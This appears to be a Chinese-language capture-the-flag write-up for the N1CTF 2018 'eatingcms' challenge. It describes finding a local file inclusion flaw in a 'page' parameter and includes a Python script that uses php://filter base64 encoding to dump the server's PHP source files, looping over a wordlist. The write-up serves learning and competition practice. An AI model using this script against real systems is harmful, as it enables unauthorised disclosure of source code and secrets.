n1ctf-2018-eatingcms

拿到题目一个登录界面，首先是先测注入。尝试了一下发现基本都过滤了，无果。

御剑扫一下目录扫出了一个register.php，发现可以注册账号，随便注册了一个账号登录进去。

进去看了半天没有思路，退出来尝试注册界面的注册发现也没用，想过以管理员注册也没有用。

（百度查了一下思路..竟然是page处存在文件包含…果然是太年轻了..根本没注意到这个点，其实想一想开发角度可以理解）

http://47.112.16.34:22231/user.php?page=guest

把page换成php://filter去读取源码

顺手写了一个脚本。

# -*- coding: utf-8 -*-
# Python3
import requests
import base64

url = "http://47.112.16.34:22231/user.php?page="
payload = "php://filter/read=convert.base64-encode/resource={}"
headers={
'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
'Cookie':"PHPSESSID=l9mlo2iht6fpo2lkmubof4udv6"
}

def output(filename,results):
    with open(filename,'w') as f:
        f.write(results)
        f.close()


def getsource(new_url,line):
    print(new_url)
    response = requests.get(new_url,headers=headers)
    print (base64.b64decode(response.text).decode(encoding="utf-8"))
    results = base64.b64decode(response.text).decode(encoding="utf-8")
    output(line,results)


if __name__ == '__main__':
    with open('字典.txt','r') as f:
        while True:
            line = f.readline()[:-1] #去除\n
            print(line)
            if line:
                new_url = (url+payload).format(line)
                getsource(new_url,line)
            else:
                break